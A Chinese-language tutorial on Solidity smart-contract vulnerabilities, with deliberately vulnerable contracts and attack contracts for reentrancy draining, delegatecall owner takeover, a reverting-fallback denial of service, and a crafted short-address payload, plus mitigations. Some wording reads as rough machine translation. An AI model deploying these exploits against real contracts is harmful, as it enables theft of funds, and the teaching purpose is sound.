智能合約是“不可變的”。一旦部署,它們的代碼是不能更改的,導致無法修復任何發現的bug。
在潛在的未來裏,整個組織都由智能合約代碼管控,對於適當的安全性需求巨大。過去的黑客如TheDAO或去年的Parity黑客(7月、11月)提高了開發者們的警惕,還有很長的路要走。
常見的 Solidity 的漏洞類型:
- Reentrancy - 重入
- Access Control - 訪問控制
- Arithmetic Issues - 算術問題(整數上下溢出)
- Unchecked Return Values For Low Level Calls - 未嚴格判斷不安全函數調用返回值
- Denial of Service - 拒絕服務
- Bad Randomness - 可預測的隨機處理
- Front Running
- Time manipulation
- Short Address Attack - 短地址攻擊
- Unknown Unknowns - 其他未知
在 Solidity 中,函數中遞歸調用棧(深度)不能超過 1024 層:
Solidity 的回退函數fallback()
fallback 函數在合約實例中表現形式即爲一個不帶參數沒有返回值的匿名函數:
什麼時候執行回退函數?
- 當外部賬戶或其他合約向該合約地址發送 ether 時;
- 當外部賬戶或其他合約調用了該合約一個不存在的函數時;
Solidity 中 的幾種傳輸以太幣的方法:
<address>.transfer()
<address>.send()
<address>.gas().call.vale()()
都可以用於向某一地址發送 ether,他們的區別在於:
(1)<address>.transfer()
- 當發送失敗時會 throw; 回滾狀態
- 只會傳遞 2300 Gas 供調用,防止重入(reentrancy)
(2)<address>.send()
- 當發送失敗時會返回 false 布爾值
- 只會傳遞 2300 Gas 供調用,防止重入(reentrancy)
(3)<address>.gas().call.value()()
- 當發送失敗時會返回 false 布爾值
- 傳遞所有可用 Gas 進行調用(可通過 gas(gas_value) 進行限制),不能有效防止重入(reentrancy)
注:開發者需要根據不同場景合理的使用這些函數來實現轉幣的功能,如果考慮不周或處理不完整,則極有可能出現漏洞被攻擊者利用。例如,早期很多合約在使用 <address>.send()
進行轉帳時,都會忽略掉其返回值,從而致使當轉賬失敗時,後續的代碼流程依然會得到執行。
require 和 assert,revert 與 throw
require
和 assert
都可用於檢查條件,並在不滿足條件的時候拋出異常,但在使用上 require 更偏向代碼邏輯健壯性檢查上;而在需要確認一些本不該出現的情況異常發生的時候,就需要使用 assert 去判斷了。
revert 和 throw 都是標記錯誤並恢復當前調用,但 Solidity 在 0.4.10 開始引入 revert(), assert(), require() 函數,用法上原先的 throw; 等於 revert()。
具體的漏洞介紹
(1)重入
以太坊智能合約的特點之一是能夠調用和利用其他外部合約的代碼。合約通常也處理Ether,因此通常會將Ether發送給各種外部用戶地址。調用外部合約或將以太網發送到地址的操作需要合約提交外部調用。這些外部調用可能被攻擊者劫持,迫使合約執行進一步的代碼(即通過回退函數),包括回調自身。因此代碼執行“ 重新進入 ”合約。這種攻擊被用於臭名昭着的DAO攻擊。
EtherStore.sol:
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
該合約有兩個公共職能。depositFunds()
和withdrawFunds()
。該depositFunds()
功能只是增加發件人餘額。該withdrawFunds()
功能允許發件人指定要撤回的wei的數量。如果所要求的退出金額小於1Ether並且在上週沒有發生撤回,它纔會成功。還是呢?...
該漏洞出現在[17]行,我們向用戶發送他們所要求的以太數量。考慮一個惡意攻擊者創建下列合約,
Attack.sol:
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// intialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
讓我們看看這個惡意合約是如何利用我們的EtherStore
合約的。攻擊者可以0x0...123
使用EtherStore
合約地址作爲構造函數參數來創建上述合約(假設在地址中)。這將初始化並將公共變量etherStore
指向我們想要攻擊的合約。
這裏轉幣的方法用的是 call.value()()
的方式,區別於 send()
和 transfer()
兩個相似功能的函數,call.value()()
會將剩餘的 Gas 全部給予外部調用(fallback 函數),而 send()
和 transfer()
只會有 2300 的 Gas 量來處理本次轉幣操作。如果在進行 Ether 交易時目標地址是個合約地址,那麼默認會調用該合約的 fallback 函數(存在的情況下,不存在轉幣會失敗,注意 payable 修飾)。
然後攻擊者會調用這個pwnEtherStore()
函數,並且有一些以太(大於或等於1),1 ether
這個例子可以說。在這個例子中,我們假設一些其他用戶已經將以太幣存入這份合約中,這樣它的當前餘額就是10 ether
。然後會發生以下情況:
- Attack.sol -Line[15] -的
depositFunds()
所述EtherStore合約的功能將與被叫msg.value
的1 ether
(和大量gas)。sender(msg.sender)將是我們的惡意合約(0x0...123)
。因此,balances[0x0..123] = 1 ether
。 - Attack.sol - Line [17] - 惡意合約將使用一個參數來調用合約的withdrawFunds()功能。這將通過所有要求(合約的行[12] - [16] ),因爲我們以前沒有提款。
- EtherStore.sol - 行[17] - 合約將發送1 ether回惡意合約。
- Attack.sol - Line [25] - 發送給惡意合約的以太網將執行後備功能。
- Attack.sol - Line [26] - EtherStore合約的總餘額是10 ether,現在9 ether是這樣,如果聲明通過。
- Attack.sol - Line [27] - 回退函數然後EtherStore withdrawFunds()再次調用該函數並“ 重新輸入 ” EtherStore合約。
- EtherStore.sol - 行[11] - 在第二次調用時withdrawFunds(),我們的餘額仍然1 ether是行[18]尚未執行。因此,我們仍然有balances[0x0..123] = 1 ether。lastWithdrawTime變量也是這種情況。我們再次通過所有要求。
- EtherStore.sol - 行[17] - 我們撤回另一個1 ether。
- 步驟4-8將重複 - 直到EtherStore.balance >= 1[26]行所指定的Attack.sol。
- Attack.sol - Line [26] - 一旦在EtherStore合約中留下少於1(或更少)的ether,此if語句將失敗。這樣就EtherStore可以執行合約的[18]和[19]行(每次調用withdrawFunds()函數)。
- EtherStore.sol - 行[18]和[19] - balances和lastWithdrawTime映射將被設置並且執行將結束。
最終的結果是,攻擊者已經從EtherStore合約中立即撤銷了所有(第1條)以太網,只需一筆交易即可。
(2)訪問控制
訪問控制,在使用 Solidity 編寫合約代碼時,有幾種默認的變量或函數訪問域關鍵字:private, public, external 和 internal,對合約實例方法來講,默認可見狀態爲 public,而合約實例變量的默認可見狀態爲 private。
- public 標記函數或變量可以被任何賬戶調用或獲取,可以是合約裏的函數、外部用戶或繼承該合約裏的函數
- external 標記的函數只能從外部訪問,不能被合約裏的函數直接調用,但可以使用 this.func() 外部調用的方式調用該函數
- private 標記的函數或變量只能在本合約中使用(注:這裏的限制只是在代碼層面,以太坊是公鏈,任何人都能直接從鏈上獲取合約的狀態信息)
- internal 一般用在合約繼承中,父合約中被標記成 internal 狀態變量或函數可供子合約進行直接訪問和調用(外部無法直接獲取和調用)
Solidity 中除了常規的變量和函數可見性描述外,這裏還需要特別提到的就是兩種底層調用方式 call
和 delegatecall
:
call
的外部調用上下文是外部合約delegatecall
的外部調用上下是調用合約上下文
合約 A 以 call
方式調用外部合約 B 的 func()
函數,在外部合約 B 上下文執行完 func()
後繼續返回 A 合約上下文繼續執行;而當 A 以 delegatecall
方式調用時,相當於將外部合約 B 的 func()
代碼複製過來(其函數中涉及的變量或函數都需要存在)在 A 上下文空間中執行。
下面代碼是 OpenZeppelin CTF 中的題目:
pragma solidity ^0.4.10; contract Delegate { address public owner; function Delegate(address _owner) { owner = _owner; } function pwn() { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; function Delegation(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } function () { if (delegate.delegatecall(msg.data)) { this; } } }
仔細分析代碼,合約 Delegation 在 fallback 函數中使用 msg.data
對 Delegate 實例進行了 delegatecall()
調用。msg.data 可控,這裏攻擊者直接用 bytes4(keccak256("pwn()"))
即可通過 delegatecall()
將已部署的 Delegation owner
修改爲攻擊者自己(msg.sender)。
2017 年下半年出現的智能合約錢包 Parity 被盜事件就跟未授權和 delegatecall
有關。
(3)整數溢出(上溢和下溢)
通常來說,在編程語言裏算數問題導致的漏洞最多的就是整數溢出了,整數溢出又分爲上溢和下溢。整數溢出的原理其實很簡單,這裏以 8 位無符整型爲例,8 位整型可表示的範圍爲 [0, 255]
8 位無符整數 255 在內存中佔據了 8bit 位置,若再加上 1 整體會因爲進位而導致整體翻轉爲 0,最後導致原有的 8bit 表示的整數變爲 0。
如果是 8 位有符整型,其可表示的範圍爲 [-128, 127]
,127
在內存中存儲按位存儲的形式爲:
在這裏因爲高位作爲了符號位,當 127
加上 1
時,由於進位符號位變爲 1
(負數),因爲符號位已翻轉爲 1
,通過還原此負數值,最終得到的 8
位有符整數爲 -128
。
上面兩個都是整數上溢的圖例,同樣整數下溢 (uint8)0-1=(uint8)255
, (int8)(-128)-1=(int8)127
。
在 withdraw(uint)
函數中首先通過 require(balances[msg.sender] - _amount > 0)
來確保賬戶有足夠的餘額可以提取,隨後通過 msg.sender.transfer(_amount)
來提取 Ether,最後更新用戶餘額信息。這段代碼若是一個沒有任何安全編碼經驗的人來審計,代碼的邏輯處理流程似乎看不出什麼問題,但是如果是編碼經驗豐富或者說是安全研究人員來看,這裏就明顯存在整數溢出繞過檢查的漏洞。
在 Solidity 中 uint
默認爲 256 位無符整型,可表示範圍 [0, 2**256-1]
,在上面的示例代碼中通過做差的方式來判斷餘額,如果傳入的 _amount
大於賬戶餘額,則 balances[msg.sender] - _amount
會由於整數下溢而大於 0 繞過了條件判斷,最終提取大於用戶餘額的 Ether,且更新後的餘額可能會是一個極其大的數。
pragma solidity ^0.4.10; contract MyToken { mapping (address => uint) balances; function balanceOf(address _user) returns (uint) { return balances[_user]; } function deposit() payable { balances[msg.sender] += msg.value; } function withdraw(uint _amount) { require(balances[msg.sender] - _amount > 0); // 存在整數溢出 msg.sender.transfer(_amount); balances[msg.sender] -= _amount; } }
爲了避免上面代碼造成的整數溢出,可以將條件判斷改爲 require(balances[msg.sender] > _amount)
,這樣就不會執行算術操作進行進行邏輯判斷,一定程度上避免了整數溢出的發生。
Solidity 除了簡單的算術操作會出現整數溢出外,還有一些需要注意的編碼細節,稍不注意就可能形成整數溢出導致無法執行正常代碼流程:
- 數組
length
爲 256 位無符整型,仔細對array.length++
或者array.length--
操作進行溢出校驗; - 常見的循環變量
for (var i = 0; i < items.length; i++) ...
中,i
爲 8 位無符整型,當items
長度大於 256 時,可能造成i
值溢出無法遍歷完全;
爲了防止整數溢出的發生,一方面可以在算術邏輯前後進行驗證,另一方面可以直接使用 OpenZeppelin 維護的一套智能合約函數庫中的 SafeMath 來處理算術邏輯。
(4)拒絕服務
DoS 無處不在,在 Solidity 裏也是,與其說是拒絕服務漏洞不如簡單的說成是 “不可恢復的惡意操作或者可控制的無限資源消耗”。簡單的說就是對以太坊合約進行 DoS 攻擊,可能導致 Ether 和 Gas 的大量消耗,更嚴重的是讓原本的合約代碼邏輯無法正常運行。
下面一個例子(代碼改自 DASP 中例子):
pragma solidity ^0.4.10; contract PresidentOfCountry { address public president; uint256 price; function PresidentOfCountry(uint256 _price) { require(_price > 0); price = _price; president = msg.sender; } function becomePresident() payable { require(msg.value >= price); // must pay the price to become president president.transfer(price); // we pay the previous president president = msg.sender; // we crown the new president price = price * 2; // we double the price to become president } }
一個簡單的類似於 KingOfEther 的合約,按合約的正常邏輯任何出價高於合約當前 price
的都能成爲新的 president,原有合約裏的存款會返還給上一人 president,並且這裏也使用了 transfer()
來進行 Ether 轉賬,看似沒有問題的邏輯,但不要忘了,以太坊中有兩類賬戶類型,如果發起 becomePresident()
調用的是個合約賬戶,並且成功獲取了 president,如果其 fallback() 函數惡意進行了類似 revert()
這樣主動跑出錯誤的操作,那麼其他賬戶也就無法再正常進行 becomePresident 邏輯成爲 president 了。
簡單的攻擊代碼如下:
contract Attack { function () { revert(); } function Attack(address _target) payable { _target.call.value(msg.value)(bytes4(keccak256("becomePresident()"))); } }
(5)時間操縱
“時間篡改”(DASP 給的名字真抽象 XD),說白了一切與時間相關的漏洞都可以歸爲 “Time Manipulation”。在 Solidity 中,block.timestamp
(別名 now
)是受到礦工確認控制的,也就是說一些合約依賴於 block.timestamp
是有被攻擊利用的風險的,當攻擊者有機會作爲礦工對 TX 進行確認時,由於 block.timestamp
可以控制,一些依賴於此的合約代碼即預知結果,攻擊者可以選擇一個合適的值來到達目的。(當然了 block.timestamp
的值通常有一定的取值範圍,出塊間隔有規定 XD)
該類型我還沒有找到一個比較好的例子,所以這裏就不給代碼演示了。:)
- Short Address Attack - 短地址攻擊 在我着手測試和復現合約漏洞類型時,短地址攻擊我始終沒有在 remix-ide 上測試成功(道理我都懂,咋就不成功呢?)。雖然漏洞沒有復現,但是漏洞原理我還是看明白了,下面就詳細地說明一下短地址攻擊的漏洞原理吧。
首先我們以外部調用 call()
爲例,外部調用中 msg.data
的情況:
在 remix-ide 中部署此合約並調用 callFunc()
時,可以得到日誌輸出的 msg.data
值:
0x4142c000000000000000000000000000000000000000000000000000000000000000001e
其中 0x4142c000
爲外部調用的函數名簽名頭 4 個字節(bytes4(keccak256("foo(uint32,bool)"))
),而後面 32 字節即爲傳遞的參數值,msg.data
一共爲 4 字節函數簽名加上 32 字節參數值,總共 4+32 字節。
看如下合約代碼:
pragma solidity ^0.4.10; contract ICoin { address owner; mapping (address => uint256) public balances; modifier OwnerOnly() { require(msg.sender == owner); _; } function ICoin() { owner = msg.sender; } function approve(address _to, uint256 _amount) OwnerOnly { balances[_to] += _amount; } function transfer(address _to, uint256 _amount) { require(balances[msg.sender] > _amount); balances[msg.sender] -= _amount; balances[_to] += _amount; } }
具體代幣功能的合約 ICoin,當 A 賬戶向 B 賬戶轉代幣時調用 transfer()
函數,例如 A 賬戶(0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)向 B 賬戶(0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db)轉 8 個 ICoin,msg.data
數據爲:
0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函數簽名 0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d2db -> B 賬戶地址(前補 0 補齊 32 字節) 0000000000000000000000000000000000000000000000000000000000000008 -> 0x8(前補 0 補齊 32 字節)
那麼短地址攻擊是怎麼做的呢,攻擊者找到一個末尾是 00
賬戶地址,假設爲 0x4b0897b0513fdc7c541b6d9d7e929c4e5364d200
,那麼正常情況下整個調用的 msg.data
應該爲:
0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函數簽名 0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d200 -> B 賬戶地址(注意末尾 00) 0000000000000000000000000000000000000000000000000000000000000008 -> 0x8(前補 0 補齊 32 字節)
但是如果我們將 B 地址的 00
吃掉,不進行傳遞,也就是說我們少傳遞 1 個字節變成 4+31+32
:
0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函數簽名 0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d2 -> B 地址(31 字節) 0000000000000000000000000000000000000000000000000000000000000008 -> 0x8(前補 0 補齊 32 字節)
當上面數據進入 EVM 進行處理時,會猶豫參數對齊的問題後補 00
變爲:
0xa9059cbb 0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d200 0000000000000000000000000000000000000000000000000000000000000800
也就是說,惡意構造的 msg.data
通過 EVM 解析補 0 操作,導致原本 0x8 = 8
變爲了 0x800 = 2048
。
上述 EVM 對畸形字節的 msg.data
進行補位操作的行爲其實就是短地址攻擊的原理(但這裏我真的沒有復現成功,希望有成功的同學聯繫我一起交流)。
短地址攻擊通常發生在接受畸形地址的地方,如交易所提幣、錢包轉賬,所以除了在編寫合約的時候需要嚴格驗證輸入數據的正確性,而且在 Off-Chain 的業務功能上也要對用戶所輸入的地址格式進行驗證,防止短地址攻擊的發生。